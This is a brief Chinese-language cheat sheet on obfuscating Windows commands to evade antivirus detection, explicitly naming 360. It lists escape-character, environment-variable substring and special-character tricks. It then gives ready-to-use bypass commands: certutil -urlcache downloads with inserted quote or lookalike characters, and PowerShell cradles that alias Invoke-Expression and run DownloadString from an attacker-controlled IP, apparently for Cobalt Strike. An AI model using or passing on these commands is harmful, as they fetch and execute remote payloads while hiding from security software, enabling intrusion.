1、(转义符)和""
双引号必须成对出现,每个字符中间只能出现一次
2、利用环境变量进行混淆
set命令查看环境变量
环境变量截断:%computername:~3,1%
解释:~3表示从第三位开始截取,1表示截取长度为1
3、参数linux化
windows下命令参数大都以/开头,实际上大部分命令都支持linux的参数标准,使用-代表参数。
4、命令拼接
commanda && commandb拼接符号代表commanda执行后自动执行commandb
commanda | commandb拼接符号代表commanda命令的输出结果作为commandb命令执行的输入
5、特殊字符插入
用类似的字符替换命令行中的其他字符
certutil /⸿split -urlcache -f http://192.168.1.102:1337/axgg.txt axgg.txt
6、Bypass360拦截
Bypass下载拦截
certutil -split -f -urlca“”che http://8.8.8.8/a.txt #中文双引号
certutil /⸿split -urlcache -f http://192.168.1.102:1337/axgg.txt axgg.txt #特殊字符
Bypass powershell cs
powershell set-alias -name cseroad -value Invoke-Expression;cseroad(New-Object Net.WebClient).DownloadString('http://192.168.52.23:80/a')
echo Invoke-Expression(new-object net.webclient).downloadstring('http://192.168.52.23:80/a') | powershell -
Q.E.D.